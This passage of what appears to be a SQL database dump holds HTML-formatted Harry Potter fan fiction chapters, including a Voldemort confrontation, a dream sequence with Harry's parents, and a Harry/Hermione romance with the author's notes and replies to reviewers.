of his tongue.<br>\n\n\n<br>\n Hermione glanced at Harry in question. &quot;We\'re not here to be sarcastic.&quot;<br>\n\n\n<br>\n Voldemort seemed to take his attention off Harry for a second, finally noticing the girl next to his prey. &quot;Ah, you must be the young lady Wormtail was talking about...&quot;<br>\n\n\n<br>\n &quot;Wormtail?&quot; <br>\n\n\n<br>\n &quot;Ah yes, in your case, the Sirius Black that you bumped into along the way. Sadly, our first plan didn\'t seem to work.&quot; <br>\n\n\n<br>\n Harry glared. &quot;Stop stating the obvious. We know it didn\'t work.&quot;<br>\n\n\n<br>\n Voldemort shook a wrinkled finger at him. &quot;Ah boy, let\'s not get too feisty.&quot;<br>\n\n\n<br>\n Hermione could almost feel the hate radiating off the boy who stood beside her. Never had she seem him so determined, so tall, so confident, and knowing what he wanted. She knew what he wanted. To kill the person in front of them. To kill the murderer of his parents. She could only hope that he wouldn\'t get hurt in the process.<br>\n\n\n<br>\n &quot;A mudblood...&quot; Voldemort stated casually, waving a finger at her with a look of disgust. &quot;Strange, dear boy, I would think you would have better tastes in women.&quot;<br>\n\n\n<br>\n Harry frowned, &quot;Seems to me <i>you </i>don\'t have a girlfriend.&quot;<br>\n\n\n<br>\n &quot;Funny, very funny,&quot; The creature seemingly sneered, but you couldn\'t really tell for his face was confusing enough. &quot;You know, you took away all I ever had. All the years I had worked to gain all the power that I had...gone. Gone just because of a mere baby. A child that didn\'t know how to even say mommy. A worthless child. <i>You</i>.&quot;<br>\n\n\n<br>\n Harry remained silent, not knowing what to do but to hopefully stall time. Maybe the others would come and help, he didn\'t know. He wanted to hold the girl next to him and just hope that it was all a dream...yet it was too real.<br>\n\n\n<br>\n &quot;It was strange, I didn\'t understand how a baby could do that. I still don\'t understand it. Do you, Harry Potter?&quot; Voldemort seemed to take one step forward. Harry stayed put. &quot;Do you understand what you did? The damage you caused? You were powerful then, I assume you are powerful now. Though you might not see it, we could be...invincible together.&quot;<br>\n\n\n<br>\n &quot;Is that an offer?&quot; Harry nearly spat. &quot;To join you?&quot;<br>\n\n\n<br>\n &quot;I don\'t know, is it?&quot;<br>\n\n\n<br>\n Harry\'s eyes narrowed, &quot;You are insane to think I would ever consider joining you. You killed my parents.&quot;<br>\n\n\n<br>\n &quot;And indeed I did.&quot; Voldemort had his wand in his hand now, making Harry\'s heart and head pound even faster. What to do? What <i>could</i> he do? &quot;But do not worry...it was not a bloody death. No blood at all. Have you ever wondered how it felt?&quot;<br>\n\n\n<br>\n Harry managed to stare back at the thing in front of him. &quot;Yes.&quot; He answered steadily.<br>\n\n\n<br>\n &quot;Ah, poor child. Never knowing what his parents were like..poor, poor child.&quot; Voldemort came another step closer, and Harry didn\'t know why he still stood there.<br>\n\n\n<br>\n &quot;Don\'t pity me...&quot; Harry felt his voice shake. He was scared, though he hated to admit that. He reached for his wand inside of his robes, but a hand as cold as ice suddenly grabbed his. It burned. <br>\n\n\n<br>\n Hermione let out a gasp as the wretched creature himself grabbed Harry by the hand, and at once she could see the pain written on the boy\'s face. She mustered up all the Gryffindor courage and bravery she had as she slammed her fists against the black cloaked figure. &quot;Let go of him! Let go of him!&quot; She gripped her wand tightly, trying to think of a spell when Voldemort turned to face her.<br>\n\n\n<br>\n &quot;Hermione Granger isn\'t it?&quot; Hermione\'s eyes widened at the fact that he knew her name. &quot;I know all about you...your parents are dentists aren\'t they? Muggles. Which makes you a mudblood doesn\'t it? Head girl aren\'t you? Are you proud?&quot; Voldemort had let go of Harry\'s hand now, advancing in on her. <br>\n\n\n<br>\n She couldn\'t help but stumble back slightly, feeling her palms go sweaty. &quot;Per..perf..&quot; Before she could utter the spell, Voldemort had muttered \'<i> Expelliarmus</i></font></small><small><font face="Helvetica, Arial, sans-serif"> \' and her wand flew over her head and dropped a few feet behind her.<br>\n\n\n<br>\n Harry finally got a grip on himself as he yanked out his wand furiously. &quot;Get away from her!&quot;<br>\n\n\n<br>\n Voldemort turned slightly, smiling at Harry. &quot;Harry Potter, you wouldn\'t dare hurt me now would you? When I\'m right next to your girlfriend here.&quot;<br>\n\n\n<br>\n &quot;...She\'s not my girlfriend..&quot; And strange enough he felt a weird desire for it to be the other way around.<br>\n\n\n<br>\n &quot;Oh...but what about that little...physical contact you had just moments before I had to interupt.&quot; Voldemort was grinning crazily now and Harry couldn\'t help but shake. &quot;Harry Potter...you took away all I had, and it took me seventeen years to gain it all back.&quot;<br>\n\n\n<br>\n &quot;You took away my parents!&quot; He hollered.<br>\n\n\n<br>\n &quot;Oh, but you didn\'t have to struggle...didn\'t have to hide from even the smallest things on earth because you were scared...you made me into nothing, but now I am back.&quot; Voldemort had a wild look on his face. His eyes flashing red, his nostrils flaring. &quot;And now I will take away what you have, though it is not worth much.&quot;<br>\n\n\n<br>\n Harry took a few seconds to process the words, not really understanding what the crazy man had said. He didn\'t have anything for him to take...what was there to take? He glanced hurridly at Hermione, realizing how close she was to the wretched thing. And suddenly realized it was<i> her</i>.<br>\n\n\n<br>\n It was always her...<br>\n\n\n<br>\n All along it was always just her. <br>\n\n\n<br>\n He didn\'t realize it until now, but he suddenly thought how cruel life would be if she wasn\'t there. And Voldemort somehow saw that even before himself.<br>\n\n\n<br>\n He cursed silently under his breath, knowing he had to do something.<br>\n\n\n<br>\n &quot;You won\'t take her from me.&quot;<br>\n\n\n<br>\n Voldemort just grinned even wider. &quot;And how can you stop me when you are much farther away than I am to her?&quot;<br>\n\n\n<br>\n &quot;I don\'t know,&quot; Harry answered truthfully while Voldemort broke into a cold and evil laugh.<br>\n\n\n<br>\n &quot;Say your last words, mudblood.&quot; And with that, Voldemort pointed his wand at Hermione whom he was still gripping onto roughly by the arm.<br>\n\n\n<br>\n Harry could see the seconds go by, see the look of fear flash upon her pretty features, see her eyes widen and take one swift look at him. He didn\'t let all this register in his mind as he sprung forward, pushing all his will and strength in going forward and towards her. <br>\n\n\n<br>\n He had to reach her, even when the killing curse rang out in the air, he felt the soft material of her robes under his fingers and her hair in his face.<br>\n\n\n<br>\n With all this, bright green light flashed around them and he didn\'t know what was happening until the solid ground hit him and everything faded away.<br>\n\n\n<br>\n\n\n<br>\n\n\n</font></small>\n\n<center><font face="Helvetica, Arial, sans-serif"><small> ~*~</small></font></center>\n\n<br>\n\n\n<br>\n\n\n<small><font face="Helvetica, Arial, sans-serif">\n\n<br>\n\n\n<br>\n &quot;Boy!!&quot;<br>\n\n\n<br>\n He found himself waking up groggily, rubbing the sleep from his eyes, he slowly sat from the tattered matress. The shaking of the stairs above told him something. He couldn\'t quite remember what, until a rather chubby man appeared in the doorway of his room (was it a room though?).<br>\n\n\n<br>\n &quot;Boy! How many times do I need to wake you? Breakfast! NOW!&quot; And finally it came to him that this chubby and red-skinned man was Uncle Vernon.<br>\n\n\n<br>\n &quot;Yes, uncle,&quot; he found his tired voice replying as he got out of bed and stretched.<br>\n\n\n<br>\n He proceeded to the washroom and stared blankly at his reflection. Feeling how miserable his life was...but why did this feel so familiar? As if it had all happened before and he was just re-reading the script to a play of some sort. He stared idly into his own tired eyes, bright green.<br>\n\n\n<br>\n Just like his mother\'s.<br>\n\n\n<br>\n Mother... He felt a longing ache in his chest as he placed his round-framed glasses on. <br>\n\n\n<br>\n &quot;Hurry, Harry dear. Dinner\'s about to start.&quot;<br>\n\n\n<br>\n A beautiful and warm voice rang out in the hallway and Harry turned away from the mirror in confusion. &quot;Dinner? Isn\'t it breakfast mum?&quot; He found himself saying almost without a thought. Mum? He srunched up his brow in confusion and turned back to the mirror, suddenly realizing his appearance was different. His eyes were bright, and joyful, dancing with an innocence he never had. An innocence of a child that had been cared for.<br>\n\n\n<br>\n &quot;Hurry up, Harry, your soup is turning cold!&quot; This time it was a deep rich voice of a man.<br>\n\n\n<br>\n &quot;Ok dad,&quot; Once again his mind seemed to work on its own as he stepped out of the bathroom and realized the hallway was unfamiliar to him...but at the same time, it was very much familiar.<br>\n\n\n<br>\n He walked by a framed photograph of three people sitting on a couch and waving merily back. One had messy black hair and wore a pair of glasses, while the other and nice wavy, deep red hair and bright green eyes. In the middle sat a little boy with identicle black hair as his father\'s and matching green eyes like his mother\'s. A happy, normal, wizarding family.<br>\n\n\n<br>\n He continued onwards, finally reaching the dinner table where two adults sat and met him with bright smiles.<br>\n\n\n<br>\n &quot;Finally decided to join us?&quot; The man chuckled.<br>\n\n\n<br>\n &quot;Got a bit preoccupied with my thoughts, dad,&quot; he replied as he took his seat next to his mother.<br>\n\n\n<br>\n His mother sneezed lightly into her hand as his dad mumbled a &quot;Bless you&quot;. They continued eating.<br>\n\n\n<br>\n This feeling inside of him didn\'t stop bubbling. It was a feeling he had never felt before..he looked from his dad, to his mother, that feeling growing by the second as he just sat there sipping thoughtfully at his pea soup.<br>\n\n\n<br>\n &quot;How about a game of Quidditch after?&quot; His dad suggested with a bright grin.<br>\n\n\n<br>\n &quot;Really?&quot; he felt himself grin back. &quot;Smashing!&quot;<br>\n\n\n<br>\n &quot;Really James, you\'re turning the boy into a Quidditch freak.&quot;<br>\n\n\n<br>\n &quot;Well, you married one yourself darling,&quot; his father laughed half-heartedly before returning to his chicken.<br>\n\n\n<br>\n He felt his heart flutter at the scene. Though he didn\'t know why. <br>\n\n\n<br>\n His mother suddenly seemed to remember something. &quot;Oh right! Dumbledore is visiting right about now...I do remember him owling about something...I think it\'s got to do with the Ministry of some sort...&quot;<br>\n\n\n<br>\n &quot;Election again? I thought Arthur Weasley already got the position.&quot; James Potter commented.<br>\n\n\n<br>\n &quot;Oh, I don\'t know..he just said he\'d drop by to talk about something...though I can\'t remember what...&quot; His mother answered just as a pop resounded in the room.<br>\n\n\n<br>\n A wise old looking wizard with a long white beard smiled back at the happy threesome. &quot;Did I interupt anything?&quot;<br>\n\n\n<br>\n &quot;Oh not at all Albus, just dinner,&quot; His father reassured. &quot;Would you like some chicken?&quot;<br>\n\n\n<br>\n &quot;Ah, I\'m fine James, just stopped by at Fudge\'s place and we had some pie,&quot; Dumbledore recalled and his eyes finally landed on him. &quot;Ah, Harry. Just the person I needed to see!&quot;<br>\n\n\n<br>\n He looked &nbsp;back at the man in question. &quot;What for, professor?&quot;<br>\n\n\n<br>\n Albus Dumbledore glanced around the room at his former students. &quot;I would prefer to talk to your son alone...if that isn\'t a problem.&quot;<br>\n\n\n<br>\n &quot;That\'s fine,&quot; his mother smiled then glanced at him sternly. &quot;Did he cause any trouble?&quot;<br>\n\n\n<br>\n &quot;Oh no, not at all,&quot; Dumbledore\'s eyes twinkled. &quot;Just a little chat.&quot;<br>\n\n\n<br>\n &quot;Very well then,&quot; James stood up and lead his wife out of the dining room, both smiling at each other.<br>\n\n\n<br>\n Harry watched them, not really knowing why he felt so entraced with his parent\'s actions. Not until Dumbledore coughed did he remember the headmaster\'s presence.<br>\n\n\n<br>\n &quot;Oh, sir, I forgot you were there.&quot;<br>\n\n\n<br>\n &quot;I noticed Harry,&quot; Dumbledore chuckled. &quot;But I must tell you, you can gain no knowledge and infact nothing at all with illusions and desires.&quot;<br>\n\n\n<br>\n Harry stared. &quot;What?&quot;<br>\n\n\n<br>\n &quot;Ah, come,&quot; Dumbledore lead him to a mirror on the wall. &quot;You see yourself don\'t you?&quot;<br>\n\n\n<br>\n Harry simply nodded. &quot;That\'s normal enough.&quot;<br>\n\n\n<br>\n &quot;But you are different here,&quot; the headmaster noted and placed a finger on Harry\'s smooth forehead. &quot;And you are missing a part of you that makes you Harry.&quot;<br>\n\n\n<br>\n &quot;...What part of me?&quot; Harry glanced at his blank forehead curiously.<br>\n\n\n<br>\n &quot;A part of you that you might not like, you might not want to accept it, but it is reality and living in dreams and what you most desire is not going to change the truth.&quot; Dumbledore stated calmly, his finger leaving Harry\'s forehead. &quot;Even if you want to erase it from your mind forever, it will forever be part of you.&quot;<br>\n\n\n<br>\n Harry scrunched up his brow just as the doorbell rang. He looked over his shoulder, then glanced back at Dumbledore. &quot;I\'ll be right back..&quot; Harry said as he headed towards the front door.<br>\n\n\n<br>\n &quot;Take all the time you need Harry...&quot; The headmaster answered gently.<br>\n\n\n<br>\n He reached the door, placing his hand on the knob and turning it. He pulled the door back, and at first he saw no one until his eyes met her\'s.<br>\n\n\n<br>\n &quot;Hello Harry!&quot; The girl greeted cheerfully as she stepped into the house, taking her shoes off and seemingly familiar with the house.<br>\n\n\n<br>\n &quot;Hello \'Mione,&quot; he felt himself greet the young woman as happiness once again spread through him.<br>\n\n\n<br>\n The girl caught sight of Dumbledore. &quot;Oh! Good evening professor! I didn\'t think I would be bumping into you here!&quot;<br>\n\n\n<br>\n &quot;Neither did I, Miss. Granger,&quot; Dumbledore answered and smiled at Harry almost knowingly. <br>\n\n\n<br>\n Harry peered at the professor thoughtfully. &quot;Mum said you had came here to tell us about something?&quot;<br>\n\n\n<br>\n &quot;Ah, I meant to talk to you, but as I see, Miss. Granger has come...so I will not waste your time,&quot; Dumbledore said and glanced expectantly at Harry through his half-moon spectacles. &quot;But I must remind you, that you should come back and join us soon. Though it may be hard to leave such a place, you must for your place is not here, but back where you belong, Harry. It is not your time to go yet, and when you return, all will be well.&quot;<br>\n\n\n<br>\n And with that he disapparated, leaving a confused Harry behind.<br>\n\n\n<br>\n &quot;How about some chocolate pudding kids?&quot; James appeared in the kitchen doorway.<br>\n\n\n<br>\n &quot;Hello Mr.Potter!&quot; Hermione greeted politely.<br>\n\n\n<br>\n &quot;Hello Hermione, it\'s nice to finally see the girl my son likes.&quot; James said in a faraway tone but suddenly smiled and disappeared back into the kitchen.<br>\n\n\n<br>\n Harry just watched this with slight confusion in his features before the girl beside him tugged his sleeve gently, leading him into the cozy and lighted kitchen of the Potter\'s home.<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n AN: Once again you all must be like &quot;???&quot; Um, I won\'t say anything, if you completely have no clue, take note of what Dumbledore has said, and take note of what the last thing James says. Hehe ^_^<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n</font></small><br>\n\n\n '),
	(208, 1, '\n\n\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph;\ntext-indent:.5in">A/N:&nbsp; This is my first attempt at romance, and I&#8217;ve\nbeen told it&#8217;s pretty good (not great, but not mediocre, either :) ), so I hope you all like it.&nbsp; As said in the summary, this story happens\nabout three minutes after Heaven&#8217;s story &#8220;Just Kiss Me&#8221;.&nbsp; This is one of five stories that make up what\nhappens between &#8220;Just Kiss Me&#8221; and &#8220;Return To Me&#8221;, which is perhaps the\ngreatest H/Hr romance fic ever written.</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph;\ntext-indent:.5in">And for\nthose of you who are wondering, &#8220;Tears In May&#8221; is not my title.&nbsp; This series will be named after songs from\nthe album &#8220;Mystery&#8221; by the group Missing Heart.&nbsp;\nIt&#8217;s trance music, but the lyrics are so poetic\nthat I just had to name the stories after them.&nbsp;\nThe chapters are the lyrics to the songs, so if you download the songs&#8230;just\nread the chapter titles!</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph;\ntext-indent:.5in">Anyway,\nhere&#8217;s chapter one.&nbsp; Please enjoy!</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph;\ntext-indent:.5in">Harry and Hermione walked in nervous silence back to the\nGryffindor common room.&nbsp; They both found\nit difficult to keep from laughing; the spicy smell of pumpkin pie drifted off\nHermione&#8217;s sweater, almost concealing the smell of Hermione&#8217;s raspberry hair\nspray&#8212;almost, but not completely.&nbsp; Harry snickered, and Hermione slapped\nhim gently on the arm as she sighed.</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph;\ntext-indent:.5in">&#8220;What&#8217;s\nthe password again?&#8221; Harry asked Hermione when they reached\nthe portrait of the Fat Lady.</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph;\ntext-indent:.5in">&#8220;Honestly,\nHarry,&#8221; she said, rolling her\neyes.&nbsp; &#8220;Prevaricating quibble,&#8221; Hermione\nsaid to the Fat Lady.&nbsp; She stepped aside\nand the painting swung open to reveal the doorway to the Gryffindor tower.</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph;\ntext-indent:.5in">As soon\nas they stepped inside, the warmth of the fireplace touched every inch of their\nbodies.&nbsp; It was quite a warm and welcome\nchange from the dank coolness of the Hogwarts halls.&nbsp; Ron was the only one sitting in the common room, and\neven he was drifting asleep in a large armchair he&#8217;d moved in front of the\ncomfortably blazing fire.&nbsp; He snapped\nawake as Harry and Hermione slammed the door.</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph;\ntext-indent:.5in">They\nthrew off the cloak, and Harry was finally able to laugh aloud.&nbsp; Hermione glared at him as he fell, rolling\nwith laughter, onto a sofa.</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph;\ntext-indent:.5in">&#8220;I can&#8217;t\nbelieve you think it&#8217;s that funny,&#8221; she said.&nbsp;\n&#8220;It&#8217;s your fault, anyway, you know.&#8221;&nbsp;\nHarry smiled innocently at her as Ron came walking up.</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph;\ntext-indent:.5in">&#8220;Enjoy\nyour dessert?&#8221; he asked, a quirky grin coming to his face.</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph;\ntext-indent:.5in">&#8220;It was\ndelicious,&#8221; Hermione said, refusing to give in to what she knew Ron was implying.</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph;\ntext-indent:.5in">&#8220;Was it\nreally?&nbsp; I can still smell it,&#8221; he said,\nand Harry started laughing all over\nagain.&nbsp; Hermione rolled her eyes and\nmarched off into the girls&#8217; dorms.&nbsp; &#8220;Was\nit something I said?&#8221; Ron asked Harry as he watched Hermione storm\naway.</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph;\ntext-indent:.5in">&#8220;No,&#8221; Harry replied through intermittent\npulses of laughter that he was attempting to stifle.&nbsp; &#8220;It was my fault.&nbsp; I kind of&#8230;pushed her onto some pie.&#8221;&nbsp; Ron&#8217;s eyes went wide, and Harry shot him a glare that Ron thought he&#8217;d only see from\nHermione.&nbsp; &#8220;Oh, get your head out of the\ngutter.&#8221;</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph;\ntext-indent:.5in">Ron only smiled as Harry went to sit in front of the fire.&nbsp; When Hermione came back down a few minutes\nafterward, she was met by the sight of Ron, in the same large armchair he&#8217;d\nbeen in earlier, pestering Harry, who sat in another couch before the roaring\nflames.&nbsp; As she approached, he looked up\nat her, a slight hint of beckoning in his gaze.&nbsp;\nHe shifted his position on the couch so that he still covered most of\nits space, but in just such a way that he seemed inviting to anyone who wanted\nto join him&#8212;like Hermione.</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph;\ntext-indent:.5in">She\nignored that, though, and walked into an armchair similar to Ron&#8217;s.&nbsp; It was positioned in front of the fire, but\nit was closer than Harry&#8217;s and Ron&#8217;s so that none of them could see each other.&nbsp; Hermione wasn&#8217;t really mad at them; not at Harry, especially.&nbsp; She conjured up a steaming cup of cocoa and\nstarted sipping it.</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph;\ntext-indent:.5in">&#8220;I\nwonder&#8230;&#8221; she thought to herself.&nbsp; She&#8217;d\nbeen doing her usual &#8220;light reading&#8221; in the libraries, and she&#8217;d found many\ninteresting spells that she&#8217;d thought might come in handy.&nbsp; She&#8217;d made quite a long list, but soon after\nshe&#8217;d written it, she&#8217;d left it in the common room, never to be seen\nagain.&nbsp; She&#8217;d asked around, but nobody knew\nwhere it was.&nbsp; Hermione could only\nremember two or three spells from the list, one of which would turn anything\ninto a reflective surface that only she could see.</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph;\ntext-indent:.5in">She\nremoved her wand silently from her robes and pointed it at the fire.&nbsp; &#8220;<i style="mso-bidi-font-style:\nnormal">Reflecto</i><i style="mso-bidi-font-style:normal"> panoptes</i>,&#8221; she said quietly, and a bolt of dim, golden\nlight shot from her wand into the flames.&nbsp;\nAlmost instantly, she saw the dancing flames shimmer, and the Gryffindor\ncommon room behind her came into view.&nbsp; Ron was trying to keep from bursting\ninto a fit of the giggles, but Harry was silent.</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph;\ntext-indent:.5in">As she\nwatched him sitting there, she became entranced by either the flames, dancing\nin their scarlet glory, or by Harry, his emerald green eyes\npenetrating even the crimson of the fire.&nbsp;\nPerhaps it was even a combination of the two, but Hermione only knew\nthat by the time she consciously noticed that she was in a daze, her cocoa was\ncompletely cold.</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph;\ntext-indent:.5in">Even\nthen, though, she decided that she didn&#8217;t care.&nbsp;\nSeeing Harry&#8217;s green eyes pouring into hers made her smile\ninside.&nbsp; The touch of his lips&#8230;she wished\nthat for even a moment, she could feel that again.&nbsp; Shifting her gaze, she noticed that Ron had left the room; she and Harry were the only two left in the\ncommon room.</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph;\ntext-indent:.5in">Hermione\nrealized that Harry, too, was caught in the dance of the fire.&nbsp; He seemed as lost as she, the only two people\ntogether in a secret dream world, brought together by a single enrapturing\nflame.&nbsp; For a fleeting moment, Hermione\nwondered if Harry could, in fact, see her as well.</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph;\ntext-indent:.5in">&#8220;That&#8217;s\nsilly,&#8221; she thought.&nbsp; Breaking her from\nher trance, though, a quiet voice came from behind her.</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph;\ntext-indent:.5in">&#8220;Why is\nit silly?&#8221;&nbsp; She jumped, startled from\nbeing shaken from her stupor in such a way.&nbsp;\nShe turned around quickly, only to find Harry looking at her intently.</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph;\ntext-indent:.5in">&#8220;Oh,\nGod,&#8221; she thought, &#8220;I&#8217;m not going to last long if he keeps looking at me like\nthat.&#8221;&nbsp; Not voicing her thoughts, she\nsaid, &#8220;Pardon?&nbsp; I didn&#8217;t say anything.&#8221;</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph;\ntext-indent:.5in">&#8220;I&#8217;m\nsorry,&#8221; he said.&nbsp; &#8220;I didn&#8217;t mean to\nintrude on you like that.&#8221;</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph;\ntext-indent:.5in">&#8220;What are\nyou talking about?&#8221; Hermione asked.</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph;\ntext-indent:.5in">&#8220;I&#8230;I used\na mind reading spell.&#8221;&nbsp; Hermione looked\nperplexed; the only mind reading spells she knew of were in the restricted\nsection, where she&#8217;d gotten permission to go in her free time.&nbsp; That was where she wrote&#8212;the parchment!</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph;\ntext-indent:.5in">&#8220;You\nfound my parchment!&#8221; she said in disbelief.</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph;\ntext-indent:.5in">&#8220;Oh, it\nwas yours?&#8221; Harry asked.&nbsp; &#8220;I&#8217;m sorry, I didn&#8217;t know.&nbsp; You&#8217;re usually so meticulous about keeping\nyour parchments tidy that it never occurred to me to ask you.&nbsp; Come to think of it, I&#8217;d asked almost\neveryone <i style="mso-bidi-font-style:normal">but</i> you,&#8221; he said\napologetically.&nbsp; Sincere apology showed\nin his eyes as he sat on the sofa.&nbsp; Hermione\nstood up and walked over to him with her hands on her hips.</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph;\ntext-indent:.5in">&#8220;It&#8217;s\nalright, but I&#8217;d appreciate it if you&#8217;d ask before intruding upon my thoughts.&#8221;</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph;\ntext-indent:.5in">&#8220;I knew\nwhat you were thinking anyway,&#8221; Harry said innocently.</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph;\ntext-indent:.5in">&#8220;That&#8217;s&#8230;but\nyou&#8230;still&#8230;&#8221; was all she was able to stammer before sighing and sitting beside\nhim on the sofa.&nbsp; Hermione flung herself\nback into the cushions and threw her head back as Harry sat up.</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph;\ntext-indent:.5in">&#8220;I&#8217;m\nreally sorry, &#8216;Mione.&nbsp; I\npromise, it won&#8217;t happen again.&#8221;</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph;\ntext-indent:.5in">&#8220;It&#8217;s\nokay,&#8221; she said, smiling at him.&nbsp; &#8220;But\nhow could you see me?&#8221;</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph;\ntext-indent:.5in">&#8220;You said\n<i style="mso-bidi-font-style:normal">panoptes</i>\ninstead of <i style="mso-bidi-font-style:normal">monoptes</i>,&#8221;\nhe said.&nbsp; &#8220;Everyone could see instead of\njust you.&nbsp; So really, I wasn&#8217;t reading\nyour thoughts, since you seemed to be using the mirror for the exact same thing\nI was,&#8221; he said.&nbsp; They both blushed, and Harry slowly wrapped his arms around\nHermione.&nbsp; She almost pulled away in\nsurprise, but gave in after a moment&#8217;s hesitation that Harry didn&#8217;t notice.</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph;\ntext-indent:.5in">Hermione\nleaned against Harry&#8217;s chest and thought to herself that there was no other\nplace in the world that she&#8217;d rather have been.&nbsp;\n&#8220;If I die right now,&#8221; she thought to herself, &#8220;I&#8217;ll die perfectly\ncontented.&#8221;&nbsp; She looked up to see if Harry had kept his promise; indeed he\nhad, for his eyes met hers curiously.</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph;\ntext-indent:.5in">&#8220;Are you\nalright?&#8221; he asked.</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph;\ntext-indent:.5in">&#8220;I&#8217;ve\nnever been happier,&#8221; she said.&nbsp;\nCorrecting herself, she added, &#8220;Actually, this is the second happiest\nI&#8217;ve been in my life.&#8221;&nbsp; She and Harry both smiled, remembering what\nhad happened only a couple of hours before in the\nkitchens.</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph;\ntext-indent:.5in">&#8220;Well, if\nthis isn&#8217;t the best moment of your life, how about we <i style="mso-bidi-font-style:\nnormal">make</i> it the happiest moment of your life?&#8221; Harry asked.</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph;\ntext-indent:.5in">&#8220;I&#8217;d love\nthat,&#8221; she said softly.&nbsp; &#8220;I think I need\nsome more of that pumpkin pie.&#8221;&nbsp; She\nsmiled up at Harry, who began to reach for his invisibility cloak.&nbsp; &#8220;That&#8217;s not necessary,<br>\n&nbsp;she said.&nbsp; &#8220;I just need a taste.&#8221;</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph;\ntext-indent:.5in">Taking\nher hint, Harry brought his lips to hers once\nagain.&nbsp; In only a matter of seconds,\ntheir tongues were entwined in a gentle but heated kiss.&nbsp; When they finally pulled apart, Hermione\ninsisted on staying in Harry&#8217;s arms for only a few minutes.&nbsp; As they sat, though, their contentment made\nthem want to stay together on the sofa, alone in the heat of the fire.&nbsp; The flames&#8217; warmth spread from the fireplace\nlong into the night as Hermione fell asleep in Harry&#8217;s arms.</p>\n\n<p class="MsoNormal">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n\n<p class="MsoNormal" style="text-indent:.5in">So did you all like it?&nbsp;\nI sure hope so!&nbsp; I like Portkey\nbetter than Fanfiction.net&#8230;much more reliable.&nbsp;\nPlease, tell me what you think!&nbsp; I&#8217;ll\nbe posting quite frequently, so check back soon.&nbsp; Thanks, m&#8217; dears!</p>\n\n\n\n\n\n\n'),
	(208, 2, '\n\n\n\n<p>A/N:  Thanks to my four wonderful readers.  Heaven\'s been very kind to me, yes...lol.  This chapter\'s longer than the last one, so have fun reading :)</p>\n\n<p>Star429:  Thanks a lot :)</p>\n\n<p>Hermione and Harry 4 Ever:  Seriously, this is my first time!  I\'ve just been spending too much time talking to Heaven...LOL.</p>\n\n<p>May:  One of the better stories here?  I\'m glad you think so!  Hehe...:: happy dance ::  I have a good story!</p>\n\n<p>Tweak:  \'Zat you, Josh?  Quit changing screen names!  Well, keep on goin\'!  It gets a lot darker.  This chapter was probably as fluffy as the story gets.\n\n</p><p>Once again, thanks for reviewing!&nbsp;\nHere&#8217;s chapter two for all of ya.</p>\n\n<p>&nbsp;~~~~~~~~~~~~~~~~~~~~</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph;\ntext-indent:.5in">The first\nlight of dawn peeked through the windows of the Gryffindor common room, falling\nupon Harry&#8217;s closed eyes.&nbsp; His unruly\nblack hair was blowing gently in the breeze leaking in through the fireplace chimney,\nbut everything else was in perfect peace.</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph;\ntext-indent:.5in">Harry was slowly brought from his\ndreams by the golden sunshine filtering through the glass.&nbsp; His eyes\nfluttered open, and he saw that he was still in the common room.&nbsp; A bit\nconfused, he looked around to discern why he hadn&#8217;t retired to the\ndormitory.&nbsp; As he tried to get up, Harry finally realized what kept him in the common 